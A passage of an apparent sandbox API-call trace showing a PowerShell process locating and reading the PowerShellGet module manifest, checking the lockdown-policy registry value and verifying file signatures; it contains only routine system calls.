| out: lpBuffer=0x266f718*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0274.855] CloseHandle (hObject=0x3c8) returned 1 [0274.890] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0274.890] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0274.890] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0274.890] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0274.891] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0274.891] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0274.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0274.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0274.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0274.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada77e0 [0274.893] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.893] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0274.893] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0274.893] FindClose (in: hFindFile=0x1ada77e0 | out: hFindFile=0x1ada77e0) returned 1 [0274.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0274.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0274.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0274.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0274.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de98) returned 1 [0274.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1c0 | out: lpFileInformation=0x1bb7e1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0274.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de48) returned 1 [0274.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0274.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0274.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0274.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0274.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ded8) returned 1 [0274.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2682550 | out: lpFileInformation=0x2682550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0274.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de88) returned 1 [0274.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0274.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0274.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df68) returned 1 [0274.896] CreateFileW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0274.896] GetFileType (hFile=0x3c8) returned 0x1 [0274.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ded8) returned 1 [0274.896] GetFileType (hFile=0x3c8) returned 0x1 [0274.897] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x0 [0274.897] ReadFile (in: hFile=0x3c8, lpBuffer=0x2683410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x2683410*, lpNumberOfBytesRead=0x1bb7df78*=0x1000, lpOverlapped=0x0) returned 1 [0274.905] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x1000 [0274.905] ReadFile (in: hFile=0x3c8, lpBuffer=0x2683410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x2683410*, lpNumberOfBytesRead=0x1bb7df78*=0xde, lpOverlapped=0x0) returned 1 [0274.906] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x10de [0274.906] ReadFile (in: hFile=0x3c8, lpBuffer=0x2683410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x2683410*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0274.906] CloseHandle (hObject=0x3c8) returned 1 [0274.914] CoCreateGuid (in: pguid=0x1bb7e048 | out: pguid=0x1bb7e048*(Data1=0xe903a506, Data2=0x5672, Data3=0x49d5, Data4=([0]=0x82, [1]=0x92, [2]=0xec, [3]=0xf5, [4]=0x62, [5]=0xf2, [6]=0x54, [7]=0x3))) returned 0x0 [0274.935] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0 [0274.935] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3e8 [0274.936] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0274.936] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f0 [0274.936] SetEvent (hEvent=0x3f0) returned 1 [0274.936] SetEvent (hEvent=0x3d0) returned 1 [0274.936] SetEvent (hEvent=0x3e8) returned 1 [0274.936] SetEvent (hEvent=0x3ec) returned 1 [0274.938] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f4 [0274.938] SetThreadUILanguage (LangId=0x0) returned 0x7ffffef0409 [0275.035] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x1bb7dbb8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7dbb8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa6, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0275.035] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x1bb7dab0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x1bb7dab0*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa5, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0275.035] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x1bb7dba8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa6, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1)) | out: ActivityId=0x1bb7dba8*(Data1=0x2b04c40, Data2=0xf800, Data3=0x0, Data4=([0]=0xa6, [1]=0xe3, [2]=0x7a, [3]=0x3, [4]=0x6d, [5]=0xb0, [6]=0xd7, [7]=0x1))) returned 0x0 [0275.088] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0275.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.090] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x1bb7d4f0, Length=0x20, ResultLength=0x1bb7d5a8 | out: SystemInformation=0x1bb7d4f0, ResultLength=0x1bb7d5a8*=0x0) returned 0xc0000003 [0275.090] GetSystemInfo (in: lpSystemInfo=0x1bb7d5f0 | out: lpSystemInfo=0x1bb7d5f0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0275.091] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7d4f8 | out: phkResult=0x1bb7d4f8*=0x3f8) returned 0x0 [0275.091] RegQueryValueExW (in: hKey=0x3f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x1bb7d548, lpData=0x0, lpcbData=0x1bb7d540*=0x0 | out: lpType=0x1bb7d548*=0x0, lpData=0x0, lpcbData=0x1bb7d540*=0x0) returned 0x2 [0275.091] RegCloseKey (hKey=0x3f8) returned 0x0 [0275.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7d478) returned 1 [0275.103] CreateFileW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0275.103] GetFileType (hFile=0x3f8) returned 0x1 [0275.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7d3e8) returned 1 [0275.103] GetFileType (hFile=0x3f8) returned 0x1 [0275.103] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d408*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d408*=0) returned 0x0 [0275.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x26b8f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7d488, lpOverlapped=0x0 | out: lpBuffer=0x26b8f58*, lpNumberOfBytesRead=0x1bb7d488*=0x1000, lpOverlapped=0x0) returned 1 [0275.104] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d408*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d408*=0) returned 0x1000 [0275.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x26b8f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7d488, lpOverlapped=0x0 | out: lpBuffer=0x26b8f58*, lpNumberOfBytesRead=0x1bb7d488*=0xde, lpOverlapped=0x0) returned 1 [0275.105] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7d408*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7d408*=0) returned 0x10de [0275.105] ReadFile (in: hFile=0x3f8, lpBuffer=0x26b8f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7d488, lpOverlapped=0x0 | out: lpBuffer=0x26b8f58*, lpNumberOfBytesRead=0x1bb7d488*=0x0, lpOverlapped=0x0) returned 1 [0275.105] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x1bb7d3f0, Length=0x20, ResultLength=0x1bb7d4a8 | out: SystemInformation=0x1bb7d3f0, ResultLength=0x1bb7d4a8*=0x0) returned 0xc0000003 [0275.105] GetSystemInfo (in: lpSystemInfo=0x1bb7d4f0 | out: lpSystemInfo=0x1bb7d4f0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0275.105] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bb7d3f8 | out: phkResult=0x1bb7d3f8*=0x3fc) returned 0x0 [0275.106] RegQueryValueExW (in: hKey=0x3fc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x1bb7d448, lpData=0x0, lpcbData=0x1bb7d440*=0x0 | out: lpType=0x1bb7d448*=0x0, lpData=0x0, lpcbData=0x1bb7d440*=0x0) returned 0x2 [0275.106] RegCloseKey (hKey=0x3fc) returned 0x0 [0275.106] CloseHandle (hObject=0x3f8) returned 1 [0275.110] CoCreateGuid (in: pguid=0x1bb7d5c8 | out: pguid=0x1bb7d5c8*(Data1=0x3631327d, Data2=0x9831, Data3=0x4857, Data4=([0]=0x9e, [1]=0xa9, [2]=0x1c, [3]=0x2e, [4]=0x9e, [5]=0x86, [6]=0x11, [7]=0xeb))) returned 0x0 [0275.117] QueryPerformanceCounter (in: lpPerformanceCount=0x1bb7cff8 | out: lpPerformanceCount=0x1bb7cff8*=1191609378377) returned 1 [0275.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cc38) returned 1 [0275.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7cf60 | out: lpFileInformation=0x1bb7cf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0275.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7cbe8) returned 1 [0275.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7cb08) returned 1 [0275.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7ce30 | out: lpFileInformation=0x1bb7ce30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0275.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7cab8) returned 1 [0275.118] CoTaskMemAlloc (cb=0x10) returned 0x1ae037c0 [0275.118] CoTaskMemAlloc (cb=0x20) returned 0x1adf78a0 [0275.118] CoTaskMemAlloc (cb=0xa8) returned 0x1adbb750 [0275.118] CoTaskMemAlloc (cb=0x50) returned 0x1ada75a0 [0275.118] WinVerifyTrust () returned 0x800b0100 [0275.133] CoTaskMemFree (pv=0x1ae037c0) [0275.133] CoTaskMemFree (pv=0x1ada75a0) [0275.133] CryptCATHandleFromStore () returned 0x1ade43e0 [0275.133] WTHelperGetProvSignerFromChain () returned 0x0 [0275.134] CoTaskMemAlloc (cb=0x10) returned 0x1ae037c0 [0275.134] CoTaskMemAlloc (cb=0x50) returned 0x1ada75a0 [0275.134] WinVerifyTrust () returned 0x0 [0275.134] CoTaskMemFree (pv=0x1ada75a0) [0275.134] CoTaskMemFree (pv=0x1ae037c0) [0275.134] CoTaskMemFree (pv=0x1adbb750) [0275.134] CoTaskMemFree (pv=0x1adf78a0) [0275.250] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0275.250] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0275.272] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0275.276] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0275.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0275.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0275.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0275.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x41, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x40 [0275.324] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", 